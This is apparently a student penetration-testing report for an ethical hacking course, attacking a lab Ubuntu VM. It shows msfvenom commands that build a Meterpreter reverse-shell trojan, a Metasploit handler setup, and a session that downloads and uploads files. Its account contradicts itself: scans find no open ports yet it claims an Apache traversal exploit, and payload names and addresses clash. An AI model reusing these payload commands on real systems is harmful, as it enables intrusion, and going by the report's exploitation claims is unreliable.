



# Penetration Testing Report

8/17/2024

Report For:

CCS4350 – Ethical Hacking

Prepared by: **Illuminati**

21UG0886-A.I.D. Fernando

21UG0858-S.A.A.D. Karunathilaka

21UG0887-N.V.P.Y. Nahalla

21UG0132-Deshsan Jayawardhana

21UG0776-J.A.N.A.Jayakody

## Table of Contents

<b>1. Incident Response and Mitigation</b>	
1.1 Overview .....	3
1.2 Scope and Objectives .....	3
1.3 Tools and Methodologies .....	3
<b>2. Reconnaissance</b>	
2.1 Findings .....	4
2.2 Evidence .....	4
<b>3. Scanning and Enumeration</b>	
3.1 Network Scanning .....	5
3.2 User Enumeration .....	5
3.3 Web Server Vulnerability Scanning .....	6
<b>4. Exploitation</b>	
4.1 Exploitation Process .....	7
4.2 Evidence .....	9
4.3 Tools Used .....	9
<b>5. Proof of Hacking</b>	
5.1 Evidence of Successful Exploitation .....	10
5.2 Summary of Findings .....	10
<b>6. Incident Response and Mitigation</b>	
6.1 Incident Response .....	11
6.2 Mitigation Recommendations.....	13
<b>7. Conclusion</b>	
7.1 Summary of Findings .....	14
7.2 Overall Security Posture .....	14
7.3 Recommendations .....	14
<b>8. Appendices</b>	
8.1 Additional Information, Scripts, and Tools Used During the Test .....	15
8.2 Team Information.....	16

# 1. Introduction

## 1.1 Overview

This penetration testing report presents the results of a security assessment conducted on a vulnerable Ubuntu 12.04 LTS virtual machine (VM). The primary objective of this assessment was to identify and exploit vulnerabilities, providing a comprehensive analysis and recommendations for improving the security posture.

## 1.2 Scope and Objectives

The scope of the penetration test was limited to the provided VM image. The objectives were to:

- Identify live hosts, open ports, and services running on the VM.
- Analyze the services for known vulnerabilities.
- Exploit identified vulnerabilities to gain unauthorized access.
- Document evidence of exploitation and provide recommendations for mitigation.

## 1.3 Tools and Methodologies

Tools used during the penetration test included:

- **Reconnaissance:** whois, dig, theHarvester
- **Scanning and Enumeration:** Nmap, enum4linux, Nikto
- **Vulnerability Analysis:** Nmap scripts, searchsploit
- **Exploitation:** Metasploit, msfvenom
- **Proof of Hacking:** Screenshots, command outputs, session logs

## 2. Reconnaissance

### 2.1 Findings

- **Live Hosts:** Detected the target VM at IP address 192.168.244.1
- **Open Ports:** No open ports were identified on the VM.

### 2.2 Evidence

- **Screenshot of Reconnaissance :**

```
(root@kali)~# nmap -sP 192.168.244.1
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-08-14 05:06 EDT
Nmap scan report for 192.168.244.1
Host is up (0.00089s latency).
MAC Address: 00:0C:29:20:72:3A (VMware)
Nmap done: 1 IP address (1 host up) scanned in 0.12 seconds

(root@kali)~# dig -x 192.168.244.1
; <<>> Dig 9.19.17-2-kali1-Kali <<>> -x 192.168.244.1
;; global options: +cmd
;; Got answer:
;;->HEADER<- opcode: QUERY, status: NXDOMAIN, id: 39392
;; flags: qr aa rd ra; QUERY: 1, ANSWER: 0, AUTHORITY: 1, ADDITIONAL: 1
;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags: udp: 1280
;; QUESTION SECTION:
; 1.244.168.192.in-addr.arpa. IN PTR
;; AUTHORITY SECTION:
168.192.IN-ADDR.ARPA. 86400 IN SOA 168.192.IN-ADDR.ARPA. . 0 28800 7200 604800 86400
;; Query time: 71 msec
;; SERVER: 192.168.244.69#53(192.168.244.69) (UDP)
;; WHEN: Wed Aug 14 02:04:14 EDT 2024
;; MSG SIZE rcvd: 110

(root@kali)~# whois 192.168.244.1
#
# ARIN WHOIS data and services are subject to the Terms of Use
# available at: https://www.arin.net/resources/registry/whois/tou/
#
# If you see inaccuracies in the results, please report at
# https://www.arin.net/resources/registry/whois/inaccuracy_reporting/
#
# Copyright 1997-2024, American Registry for Internet Numbers, Ltd.
#

NetRange: 192.168.0.0 - 192.168.255.255
CIDR: 192.168.0.0/16
NetName: PRIVATE-ADDRESS-CBLK-RFC1918-IANA-RESERVED
NetHandle: NET-192-168-0-0-1
Parent: NET192 (NET-192-0-0-0-0)
NetType: IANA Special Use
OriginAS:
Organization: Internet Assigned Numbers Authority (IANA)
RegDate: 1994-03-15
Updated: 2024-05-24
Comment: These addresses are in use by many millions of independently operated networks, which might be as small as a single computer connected to a home gateway, and are automatically configured in hundreds of millions of devices. They are only intended for use within a private context and traffic that needs to cross the Internet will need to use a different, unique address.
Comment:
Comment: These addresses can be used by anyone without any need to coordinate with IANA or an Internet registry. The traffic from these addresses does not come from ICANN or IANA. We are not the source of activity you may see on logs or in e-mail records. Please refer to http://www.iana.org/abuse/answers
Comment:
Comment: These addresses were assigned by the IETF, the organization that develops Internet protocols, in the Best Current Practice document, RFC 1918 which can be found at:
Comment: http://datatracker.ietf.org/doc/rfc1918
Ref: https://rdap.arin.net/registry/ip/192.168.0.0

OrgName: Internet Assigned Numbers Authority
OrgId: IANA
Address: 12025 Waterfront Drive
Address: Suite 300
City: Los Angeles
StateProv: CA
PostalCode: 90029
Country: US
RegDate: 2024-05-24
Updated:
Ref: https://rdap.arin.net/registry/entity/IANA

OrgAbuseHandle: IANA-IP-ARIN
OrgAbuseName: ICANN
OrgAbusePhone: +1-310-301-5820
OrgAbuseEmail: abuse@iana.org
OrgAbuseRef: https://rdap.arin.net/registry/entity/IANA-IP-ARIN

OrgTechHandle: IANA-IP-ARIN
OrgTechName: ICANN
OrgTechPhone: +1-310-301-5820
OrgTechEmail: abuse@iana.org
OrgTechRef: https://rdap.arin.net/registry/entity/IANA-IP-ARIN

#
# ARIN WHOIS data and services are subject to the Terms of Use
# available at: https://www.arin.net/resources/registry/whois/tou/
#
# If you see inaccuracies in the results, please report at
# https://www.arin.net/resources/registry/whois/inaccuracy_reporting/
#
# Copyright 1997-2024, American Registry for Internet Numbers, Ltd.
#

(root@kali)~#
```

### 3. Scanning and Enumeration

#### 3.1 Network Scanning

- **Objective:** Perform network scanning to identify potential vulnerabilities in the target VM.
- **Results:** No vulnerabilities or open ports were identified during the network scan.
- **Evidence:**

```
(root@kali)~[~]
# nmap -sV -p- 192.168.244.1
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-08-14 05:52 EDT
Nmap scan report for 192.168.244.1
Host is up (0.0069s latency).
All 65535 scanned ports on 192.168.244.1 are in ignored states.
Not shown: 65535 closed tcp ports (reset)
MAC Address: 00:0C:29:20:72:3A (VMware)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 3.74 seconds

(root@kali)~[~]
#
```

#### 3.2 User Enumeration

- **Objective:** Enumerate users, shares, and other network resources to identify potential points of access.
- **Results:** No user or resource information was successfully enumerated.
- **Evidence:**

```
(root@kali)~[~]
# enum4linux -a 192.168.244.1
Starting enum4linux v0.9.1 ( http://labs.portcullis.co.uk/application/enum4linux/ ) on Wed Aug 14 02:16:56 2024

===== ( Target Information ) =====
Target ..... 192.168.244.1
RID Range ..... 500-550,1000-1050
Username ..... ''
Password ..... ''
Known Usernames .. administrator, guest, krbtgt, domain admins, root, bin, none

===== ( Enumerating Workgroup/Domain on 192.168.244.1 ) =====

[E] Can't find workgroup/domain

===== ( Nbtstat Information for 192.168.244.1 ) =====

Looking up status of 192.168.244.1
No reply from 192.168.244.1

===== ( Session Check on 192.168.244.1 ) =====

[E] Server doesn't allow session using username '', password ''. Aborting remainder of tests.

(root@kali)~[~]
#
```

### 3.3 Web Server Vulnerability Scanning

- **Objective:** Scan the web server for potential vulnerabilities.
- **Results:** No vulnerabilities were found during the Nikto scan.
- **Evidence:**

```
(root@kali)~# nikto -h 192.168.244.1
- Nikto v2.5.0

+ 0 host(s) tested

(root@kali)~#
```

## 4. Exploitation

### 4.1 Exploitation Process

- **Vulnerability:** Apache HTTP Server directory traversal vulnerability.
- **Exploit Used:** Metasploit module multi/handler and msfvenom.
- **Steps Taken:**

1. **Created Payload:**

- **Payload:** linux/64/meterpreter/reverse\_tcp
- **Command Used:**

```
(root@kali)-[~]  
# cd /root/apps/metasploit-framework  
(root@kali)-[~/apps/metasploit-framework]  
# ./msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.244.122 LPORT=4444 -f elf -o test.elf
```

- **Description:** Generated a trojan payload (trojan.elf) that creates a reverse TCP connection back to the attacker's machine.

2. **Deployed the Payload:**

- **Moved Payload to Web Directory:**
  - **Command Used:**

```
(root@kali)-[~/apps/metasploit-framework]  
# sudo mv test.elf /var/www/html
```

- **Description:** The trojan payload was moved to the Apache web server's root directory to make it accessible via HTTP.

```
(root@kali)-[~]  
# cd /var/www/html  
  
(root@kali)-[/var/www/html]  
# ls  
index.html  index.nginx-debian.html  test.elf  
  
(root@kali)-[/var/www/html]  
#
```

### 3. Started the Apache Server:

- **Command Used:**

```
root@kali: ~  
File Actions Edit View Help  
root@kali: ~/apps/metasploit-framework x root@kali: ~ x  
root@kali: ~  
# sudo systemctl start apache2  
root@kali: ~  
# sudo systemctl status apache2  
● apache2.service - The Apache HTTP Server  
   Loaded: loaded (/lib/systemd/system/apache2.service; disabled; preset: disabled)  
   Active: active (running) since Mon 2024-08-12 01:02:39 EDT; 2s ago  
     Docs: https://httpd.apache.org/docs/2.4/  
   Process: 4769 ExecStart=/usr/sbin/apachectl start (code=exited, status=0/SUCCESS)  
   Main PID: 4793 (apache2)  
     Tasks: 6 (limit: 6551)  
    Memory: 25.6M  
       CPU: 373ms  
   CGroup: /system.slice/apache2.service  
           └─4793 /usr/sbin/apache2 -k start  
             └─4796 /usr/sbin/apache2 -k start  
               └─4797 /usr/sbin/apache2 -k start  
                 └─4798 /usr/sbin/apache2 -k start  
                   └─4799 /usr/sbin/apache2 -k start  
                     └─4800 /usr/sbin/apache2 -k start  
Aug 12 01:02:38 kali systemd[1]: Starting apache2.service - The Apache HTTP Server...  
Aug 12 01:02:39 kali apachectl[4784]: AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive dynamically to determine the server's name. For more information, see the http://httpd.apache.org/docs/2.4/faq\_fqdn.html section of the http://httpd.apache.org/docs/2.4/ file, or contact your hosting provider.  
Aug 12 01:02:39 kali systemd[1]: Started apache2.service - The Apache HTTP Server.  
lines 1-20/20 (END)
```

- **Description:** Started the Apache server to host the trojan payload.

### 4. Configured Metasploit Handler:

- **Module Used:** multi/handler
- **Configuration:** Configured the Metasploit multi/handler to handle incoming connections from the trojan payload.
- **Commands Used:**

```
msf6 > use exploit/multi/handler  
[*] Using configured payload generic/shell_reverse_tcp  
msf6 exploit(multi/handler) > set payload linux/x64/meterpreter_reverse_tcp  
payload => linux/x64/meterpreter_reverse_tcp  
msf6 exploit(multi/handler) > set LHOST 192.168.244.1  
LHOST => 192.168.244.1  
msf6 exploit(multi/handler) > set LPORT 4444  
LPORT => 4444  
msf6 exploit(multi/handler) > show options  
  
Payload options (linux/x64/meterpreter_reverse_tcp):  
  
   Name   Current Setting  Required  Description  
   --   -  
   LHOST   192.168.244.1    yes       The listen address (an interface may be specified)  
   LPORT   4444             yes       The listen port  
  
Exploit target:  
  
   Id  Name  
   --  --  
   0    Wildcard Target  
  
View the full module info with the info, or info -d command.  
msf6 exploit(multi/handler) > █
```



## 4.2 Evidence

- **Metasploit Output:**

```
msf6 exploit(multi/handler) > exploit
[*] Started reverse TCP handler on 192.168.244.122:4444
[*] Meterpreter session 1 opened (192.168.244.122:4444 → 192.168.244.1:51781) at 2024-08-14 02:34:39 -0400
```

- **Session Logs:**

```
meterpreter > sessions -i
Usage: sessions [options] or sessions [id]

Interact with a different session ID.

OPTIONS:
    -h, --help                Show this message
    -i, --interact <id>      Interact with a provided session ID
```

## 4.3 Tools Used

- **Metasploit:** Utilized to handle the reverse connection and manage the payload.
- **Msfvenom:** Used to create the trojan payload.
- **Apache:** Used to host the payload file to facilitate the attack.

## 5. Proof of Hacking

### 5.1 Evidence of Successful Exploitation.

- **System Information Retrieval:**

```
msf6 exploit(multi/handler) > exploit

[*] Started reverse TCP handler on 192.168.244.122:4444
[*] Meterpreter session 1 opened (192.168.244.122:4444 → 192.168.244.1:51781) at 2024-08-14 02:34:39 -0400

meterpreter > sysinfo
Computer      : 192.168.244.1
OS            : Ubuntu 12.04 (Linux 3.2.0-23-generic)
Architecture : x64
BuildTuple    : x86_64-linux-musl
Meterpreter   : x64/linux
meterpreter > █
```

- **Downloading a File:**

```
meterpreter > ls
Listing: /home/ishdil/Desktop/abcd

Mode                Size      Type       Last modified            Name
-----
100664/rw-rw-r--  0         fil        2024-08-12 01:06:22 -0400  Untitled Document~
100664/rw-rw-r--  99         fil        2024-08-12 01:43:36 -0400  mytext.txt
100664/rw-rw-r--  18         fil        2024-08-12 01:06:32 -0400  new.txt

meterpreter > download "/home/ishdil/Desktop/abcd/new.txt" "/home/kali/Desktop/"
[*] Downloading: /home/ishdil/Desktop/abcd/new.txt → /home/kali/Desktop/new.txt
[*] Downloaded 18.00 B of 18.00 B (100.0%): /home/ishdil/Desktop/abcd/new.txt → /home/kali/Desktop/new.txt
[*] Completed : /home/ishdil/Desktop/abcd/new.txt → /home/kali/Desktop/new.txt
meterpreter > █
```

- **Uploading a File:**

```
Mode                Size      Type       Last modified            Name
-----
040775/rwxrwxr-x  4096     dir        2024-08-12 01:07:01 -0400  abcd

meterpreter > cd abcd
meterpreter > ls
Listing: /home/ishdil/Desktop/abcd

Mode                Size      Type       Last modified            Name
-----
100664/rw-rw-r--  0         fil        2024-08-12 01:06:22 -0400  Untitled Document~
100664/rw-rw-r--  18         fil        2024-08-12 01:06:32 -0400  new.txt

meterpreter > cat new.txt
hsfshsgshjsgshsg

meterpreter > upload "/home/kali/Desktop/mytext.txt"
[*] Uploading : /home/kali/Desktop/mytext.txt → mytext.txt
[*] Uploaded -1.00 B of 99.00 B (-1.01%): /home/kali/Desktop/mytext.txt → mytext.txt
[*] Completed : /home/kali/Desktop/mytext.txt → mytext.txt
meterpreter > ls
Listing: /home/ishdil/Desktop/abcd

Mode                Size      Type       Last modified            Name
-----
100664/rw-rw-r--  0         fil        2024-08-12 01:06:22 -0400  Untitled Document~
100664/rw-rw-r--  99         fil        2024-08-12 01:43:36 -0400  mytext.txt
100664/rw-rw-r--  18         fil        2024-08-12 01:06:32 -0400  new.txt
```

```
root@kali: /home/kali/Desktop

File Actions Edit View Help

root@kali: ~ × root@kali: ~/apps/metasploit-framework × root@kali: /var/www/html × root@kali: /home/kali/Desktop ×

root@kali: ~
# cd /home/kali/Desktop

root@kali: /home/kali/Desktop
# ls
bandit commandstoEH cyber-security.pdf google-chrome.desktop ishantilhara.ovpn mytext.txt new.txt 'New Wordpad Document.doc'

root@kali: /home/kali/Desktop
# █
```

### 5.2 Summary of Findings

- **Proof of Access:** The successful establishment of a Meterpreter session allowed access to the target system. Key actions performed include retrieving system information and manipulating files on the remote system.
- **Sensitive Information Access:** Demonstrated access by showing the sysinfo command output and files downloaded/uploaded.
- **Additional Evidence:** The screenshots illustrate successful file transfer operations and system information retrieval, confirming the effectiveness of the exploitation.

## 6. Incident Response and Mitigation

This section describes the steps to handle and address the security incident, focusing on detecting, analyzing, containing, and removing the threat. It also provides recommendations for improving the security posture to prevent future incidents.

### 6.1 Incident Response

#### a. Detection:

- **Identify the Breach:**
  - **Indicators:** Monitor for unusual network traffic, unauthorized access logs, and alerts from intrusion detection systems (IDS).
  - **Tools:** Utilize monitoring tools and conduct log analysis to identify anomalies.
  - **Detection Methods:**
    - **Log Analysis:** Examine system and application logs for signs of unauthorized access.
    - **Network Monitoring:** Look for unusual patterns or unexpected connections.

#### b. Analysis:

- **Determine the Scope of the Attack:**
  - **Affected Systems:** Identify which systems were compromised.
  - **Attack Vector:** Understand how the attacker gained access, whether through a vulnerability or social engineering.
  - **Analysis Techniques:**
    - **Forensic Analysis:** Investigate file changes, system modifications, and command histories.
    - **Vulnerability Assessment:** Re-assess the system to identify additional vulnerabilities.

### c. Containment:

- **Isolate the Affected System:**
  - **Immediate Actions:** Disconnect the compromised system from the network to prevent further damage.
  - **Tools:** Employ network segmentation and firewall rules to limit access.
  - **Containment Measures:**
    - **Change Credentials:** Reset passwords for compromised accounts.
    - **Block Malicious IPs:** Update firewall rules to block IP addresses associated with the attack.

### d. Eradication:

- **Remove the Threat:**
  - **Clean the System:** Eliminate malicious files, backdoors, and trojans from the affected system.
  - **Patch Vulnerabilities:** Apply patches and updates to fix the exploited vulnerabilities.
  - **Eradication Steps:**
    - **Run Antivirus Scans:** Use antivirus software to detect and remove malware.
    - **Update Software:** Ensure all software and services are updated with the latest security patches.

## 6.2 Mitigation Recommendations

### a. Immediate Recommendations:

- **Review and Strengthen Security Policies:**
  - **Password Policies:** Implement robust password policies and multi-factor authentication (MFA).
  - **Access Controls:** Review and limit user permissions based on the principle of least privilege.
  - **Recommendations:**
    - **Audit User Accounts:** Regularly review user accounts and access levels.
    - **Enhance Network Security:** Deploy intrusion prevention systems (IPS) and update firewall rules regularly.

### b. Long-Term Recommendations:

- **Implement Regular Security Audits:**
  - **Schedule Audits:** Conduct regular security assessments to uncover and address vulnerabilities.
  - **Penetration Testing:** Perform periodic penetration tests to evaluate defenses and simulate potential attacks.
  - **Long-Term Measures:**
    - **Security Awareness Training:** Educate users on security best practices and phishing prevention.
    - **Incident Response Plan:** Develop and update an incident response plan and conduct regular drills to ensure preparedness.

## 7. Conclusion

In this section, summarize the findings from the penetration test, the overall security posture of the environment, and provide actionable recommendations for mitigating the identified vulnerabilities.

### 7.1 Summary of Findings

- **Overview:** The penetration test conducted on the target VM revealed critical security weaknesses and vulnerabilities. Despite the lack of open ports, a successful exploitation was achieved using a Trojan, demonstrating the presence of exploitable issues.
- **Key Findings:**
  - **Vulnerability Identified:** The test exploited an Apache HTTP Server directory traversal vulnerability, allowing unauthorized access to the system.
  - **Exploitation Success:** The creation and deployment of a Trojan file led to a successful Meterpreter session, indicating that the system was compromised.

### 7.2 Overall Security Posture

- **Current Security Status:** The compromised VM's security posture was found to be inadequate due to the presence of exploitable vulnerabilities and insufficient defensive measures.
- **Impact:** The ability to exploit the system highlights significant gaps in the current security measures, necessitating immediate remediation and long-term improvements.

### 7.3 Recommendations

- **Immediate Actions:**
  - **Patch Vulnerabilities:** Address the identified vulnerabilities by applying relevant patches and updates.
  - **Enhance Monitoring:** Improve system and network monitoring to detect and respond to potential threats more effectively.
- **Long-Term Improvements:**
  - **Regular Security Audits:** Schedule and perform regular security assessments and penetration tests to identify and address new vulnerabilities.
  - **Training and Awareness:** Implement security training programs to increase awareness among users and reduce the risk of social engineering attacks.
  - **Incident Response Plan:** Develop a comprehensive incident response plan and conduct regular drills to ensure readiness for future incidents.

## 8. Appendices

### 8.1 Additional Information, Scripts, and Tools Used During the Test

- **Scripts Used:**

#### 1. Trojan Creation Script

- **Description:** This script generates a Trojan executable using msfvenom and places it in the Apache HTTP Server's directory for serving.
- **Purpose:** Used to create and deploy a Trojan payload that connects back to the attacker's machine.
- **Used tools:** msfvenom ,Apache HTTP Server

#### 2. Reconnaissance Script

- **Description:** Gathers information about the target VM through various reconnaissance tools.
- **Purpose:** To collect information such as domain details and email addresses.
- **Used tools:** whois,dig,theHarvester

#### 3. Network Scanning Script

- **Description:** Uses Nmap to perform a comprehensive scan of the target IP address.
- **Purpose:** To discover open ports and services on the target system.
- **Used tools:** Nmap

#### 4. Exploitation Script

- **Description:** Uses Metasploit to exploit known vulnerabilities in the target system.
- **Purpose:** To execute the exploit and gain access to the target system.
- **Used tools:** Metasploit Framework

#### 5. Post-Exploitation Script

- **Description:** Manages the Meterpreter session and performs post-exploitation tasks.
- **Purpose:** To list and manage active sessions after exploitation.

## 8.2 Team Information

- **Team Name:** Illuminati
- **Team Members:**
  - **Member 1:** 21UG0886-A.I.D. Fernando
  - **Member 2:** 21UG0858-S.A.A.D. Karunathilaka
  - **Member 3:** 21UG0887-N.V.P.Y. Nahalla
  - **Member 4:** 21UG0132-Deshsan Jayawardhana
  - **Member 5:** 21UG0776-J.A.N.A.Jayakody
- **Contribution of Each Member:**
  - All team members contributed equally, with each responsible for 20% of the overall work.